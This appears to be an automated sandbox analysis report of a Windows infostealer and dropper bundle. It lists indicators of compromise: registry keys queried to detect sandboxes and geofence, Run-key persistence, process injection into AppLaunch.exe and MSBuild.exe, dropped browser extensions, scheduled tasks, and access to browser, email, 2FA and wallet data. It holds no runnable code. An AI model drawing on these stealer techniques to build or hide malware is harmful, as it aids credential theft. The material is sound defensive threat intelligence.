djvu | de2884ed8695c30e8e8a4795905dc2bd65f20f0eb467f56bfb2fb91a3a419e84

System Information Discovery

Processes:

hAMxttk3sWtXcZAL40v4h7w6.exeWerFault.exeInstall.exeHehbsNAyj2Tjv0H1F_DeznR0.exeConhost.exeAnAO3ykgN6zQm9a36A8KKRO1.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	hAMxttk3sWtXcZAL40v4h7w6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	HehbsNAyj2Tjv0H1F_DeznR0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	HehbsNAyj2Tjv0H1F_DeznR0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	AnAO3ykgN6zQm9a36A8KKRO1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	AnAO3ykgN6zQm9a36A8KKRO1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	hAMxttk3sWtXcZAL40v4h7w6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WerFault.exe

Checks computer location settings 2 TTPs 12 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

de2884ed8695c30e8e8a4795905dc2bd65f20f0eb467f56bfb2fb91a3a419e84.exesetup_installer.exe0CyXB68WHYoaUU0obtZDTeE_.exetla0LoH9nnwsE6P68juUcIz4.exexGWBZGY.exef4tZe1uSD788Kxcqf1VkBD6_.exeInstall.exesonia_1.execmd.exesonia_5.exemuMvNFVqlLCCvYHbVhFNOneq.exe_206pnKzMIhryT0aivVkY1yL.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	de2884ed8695c30e8e8a4795905dc2bd65f20f0eb467f56bfb2fb91a3a419e84.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	setup_installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	0CyXB68WHYoaUU0obtZDTeE_.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	tla0LoH9nnwsE6P68juUcIz4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	xGWBZGY.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	f4tZe1uSD788Kxcqf1VkBD6_.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	sonia_1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	sonia_5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	muMvNFVqlLCCvYHbVhFNOneq.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	_206pnKzMIhryT0aivVkY1yL.exe

Loads dropped DLL 29 IoCs

Processes:

setup_install.exesonia_6.tmprUNdlL32.eXesonia_2.exe_K4XFhkJavy64vjBfw1Mymb4.exe0CyXB68WHYoaUU0obtZDTeE_.exeAccostarmi.exe.pifjvurrahrundll32.exe

pid	process
1888	setup_install.exe
1888	setup_install.exe
1888	setup_install.exe
1888	setup_install.exe
1888	setup_install.exe
1888	setup_install.exe
1672	sonia_6.tmp
4068	rUNdlL32.eXe
2412	sonia_2.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
2028	_K4XFhkJavy64vjBfw1Mymb4.exe
1720	0CyXB68WHYoaUU0obtZDTeE_.exe
1720	0CyXB68WHYoaUU0obtZDTeE_.exe
3152	Accostarmi.exe.pif
3152	Accostarmi.exe.pif
3152	Accostarmi.exe.pif
3152	Accostarmi.exe.pif
3152	Accostarmi.exe.pif
3152	Accostarmi.exe.pif
1252	jvurrah
4760	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

_206pnKzMIhryT0aivVkY1yL.exef4tZe1uSD788Kxcqf1VkBD6_.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jkrwjfdc = "\"C:\\Users\\Admin\\ugpiyyct.exe\""	_206pnKzMIhryT0aivVkY1yL.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wakunqkhy = "\"C:\\Users\\Admin\\AppData\\Roaming\\Zueuphdtt\\Wakunqkhy.exe\""	f4tZe1uSD788Kxcqf1VkBD6_.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

HehbsNAyj2Tjv0H1F_DeznR0.exeAnAO3ykgN6zQm9a36A8KKRO1.exehAMxttk3sWtXcZAL40v4h7w6.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	HehbsNAyj2Tjv0H1F_DeznR0.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AnAO3ykgN6zQm9a36A8KKRO1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hAMxttk3sWtXcZAL40v4h7w6.exe

Drops Chrome extension 2 IoCs

Processes:

xGWBZGY.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	xGWBZGY.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	xGWBZGY.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

xGWBZGY.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini xGWBZGY.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

23 ipinfo.io
24 ipinfo.io
149 ipinfo.io
150 ipinfo.io
10 ip-api.com

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	xGWBZGY.exe

flow	ioc
23	ipinfo.io
24	ipinfo.io
149	ipinfo.io
150	ipinfo.io
10	ip-api.com

Drops file in System32 directory 33 IoCs

Processes:

xGWBZGY.exeAkcvgFM.exepowershell.exeInstall.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	xGWBZGY.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_27C6E56C6759C8BA5A715714DF762193	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_4F1D13A8A8528E2335ABDA2526F2D650	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_463197BCFA59510875AC26CD4321C84A	xGWBZGY.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	AkcvgFM.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\42F5672C93743CEB7A490AEA00E50796	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	xGWBZGY.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\42F5672C93743CEB7A490AEA00E50796	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_4F1D13A8A8528E2335ABDA2526F2D650	xGWBZGY.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	AkcvgFM.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_463197BCFA59510875AC26CD4321C84A	xGWBZGY.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_27C6E56C6759C8BA5A715714DF762193	xGWBZGY.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	xGWBZGY.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

sMnwcOh8L1t7QpzbkhklETkS.exe

pid process

4216 sMnwcOh8L1t7QpzbkhklETkS.exe

pid	process
4216	sMnwcOh8L1t7QpzbkhklETkS.exe

Suspicious use of SetThreadContext 10 IoCs

Processes:

HehbsNAyj2Tjv0H1F_DeznR0.exeConhost.exeYj6eUu6f9bLMJUA1AmLlIhxw.exeAnAO3ykgN6zQm9a36A8KKRO1.exehAMxttk3sWtXcZAL40v4h7w6.exeWerFault.exe4d85Sz8_s94cyxf_ZQiZsUS4.exevjkmotgj.exeAccostarmi.exe.piff4tZe1uSD788Kxcqf1VkBD6_.exe

description	pid	process	target process
PID 640 set thread context of 4932	640	HehbsNAyj2Tjv0H1F_DeznR0.exe	AppLaunch.exe
PID 1268 set thread context of 4332	1268	Conhost.exe	AppLaunch.exe
PID 4224 set thread context of 4884	4224	Yj6eUu6f9bLMJUA1AmLlIhxw.exe	Yj6eUu6f9bLMJUA1AmLlIhxw.exe
PID 3220 set thread context of 4472	3220	AnAO3ykgN6zQm9a36A8KKRO1.exe	AppLaunch.exe
PID 4156 set thread context of 1816	4156	hAMxttk3sWtXcZAL40v4h7w6.exe	AppLaunch.exe
PID 4240 set thread context of 4200	4240	WerFault.exe	AppLaunch.exe
PID 3184 set thread context of 5596	3184	4d85Sz8_s94cyxf_ZQiZsUS4.exe	rundll32.exe
PID 5396 set thread context of 6104	5396	vjkmotgj.exe	svchost.exe
PID 3152 set thread context of 5784	3152	Accostarmi.exe.pif	Accostarmi.exe.pif
PID 4504 set thread context of 5400	4504	f4tZe1uSD788Kxcqf1VkBD6_.exe	MSBuild.exe

Drops file in Program Files directory 14 IoCs

Processes:

xGWBZGY.exe

description	ioc	process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	xGWBZGY.exe
File created	C:\Program Files (x86)\YhmfbgEUeceU2\cpsgiDLeZmWdL.dll	xGWBZGY.exe
File created	C:\Program Files (x86)\YhmfbgEUeceU2\CjKmfod.xml	xGWBZGY.exe
File created	C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\OadOckp.dll	xGWBZGY.exe
File created	C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\jFKNgZu.xml	xGWBZGY.exe
File created	C:\Program Files (x86)\iTBLcazoBHNRC\UXQjZDf.dll	xGWBZGY.exe
File created	C:\Program Files (x86)\QMuGxDzxU\pgDemd.dll	xGWBZGY.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	xGWBZGY.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	xGWBZGY.exe
File created	C:\Program Files (x86)\rYNYBiCjmUUn\oTFZApb.dll	xGWBZGY.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	xGWBZGY.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	xGWBZGY.exe
File created	C:\Program Files (x86)\QMuGxDzxU\UcNIfgB.xml	xGWBZGY.exe
File created	C:\Program Files (x86)\iTBLcazoBHNRC\xmQGxET.xml	xGWBZGY.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\oCvyuKWvFtUoYKNPA.job	schtasks.exe
File created	C:\Windows\Tasks\booXbIzkEgfNdKvxAC.job	schtasks.exe
File created	C:\Windows\Tasks\CHeJVxoJwhzmREGSo.job	schtasks.exe
File created	C:\Windows\Tasks\cPyDayBYNpjUpuO.job	schtasks.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 20 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
320	1888	WerFault.exe	setup_install.exe
1128	4068	WerFault.exe	rUNdlL32.eXe
4920	3700	WerFault.exe	tla0LoH9nnwsE6P68juUcIz4.exe
4840	4148	WerFault.exe	aDqaRvX_ilyt5Y35D79OJPKa.exe
5060	3700	WerFault.exe	tla0LoH9nnwsE6P68juUcIz4.exe
4784	4148	WerFault.exe	aDqaRvX_ilyt5Y35D79OJPKa.exe
1364	4884	WerFault.exe	Yj6eUu6f9bLMJUA1AmLlIhxw.exe
4896	4252	WerFault.exe	bHcfaBRIndLxtBLfD2WXawQt.exe
5000	3700	WerFault.exe	tla0LoH9nnwsE6P68juUcIz4.exe
832	4232	WerFault.exe	_206pnKzMIhryT0aivVkY1yL.exe
4112	3700	WerFault.exe	tla0LoH9nnwsE6P68juUcIz4.exe
216	3700	WerFault.exe	tla0LoH9nnwsE6P68juUcIz4.exe
5172	4972	WerFault.exe	ugpiyyct.exe
5428	3700	WerFault.exe	tla0LoH9nnwsE6P68juUcIz4.exe
5880	3700	WerFault.exe	tla0LoH9nnwsE6P68juUcIz4.exe
6036	3184	WerFault.exe	4d85Sz8_s94cyxf_ZQiZsUS4.exe
4248	5396	WerFault.exe	vjkmotgj.exe
5176	3700	WerFault.exe	tla0LoH9nnwsE6P68juUcIz4.exe
4324	3184	WerFault.exe	4d85Sz8_s94cyxf_ZQiZsUS4.exe
4764	3184	WerFault.exe	4d85Sz8_s94cyxf_ZQiZsUS4.exe

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

sonia_2.exeFtbxknprim.exejvurrah

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ftbxknprim.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ftbxknprim.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jvurrah
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ftbxknprim.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jvurrah
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jvurrah

Checks processor information in registry 2 TTPs 54 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

0CyXB68WHYoaUU0obtZDTeE_.exerundll32.exe4d85Sz8_s94cyxf_ZQiZsUS4.exe570cef6f-75e4-4c1c-b53c-ae6f9084767c.exe_K4XFhkJavy64vjBfw1Mymb4.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	0CyXB68WHYoaUU0obtZDTeE_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	570cef6f-75e4-4c1c-b53c-ae6f9084767c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	_K4XFhkJavy64vjBfw1Mymb4.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	0CyXB68WHYoaUU0obtZDTeE_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	_K4XFhkJavy64vjBfw1Mymb4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	570cef6f-75e4-4c1c-b53c-ae6f9084767c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	4d85Sz8_s94cyxf_ZQiZsUS4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
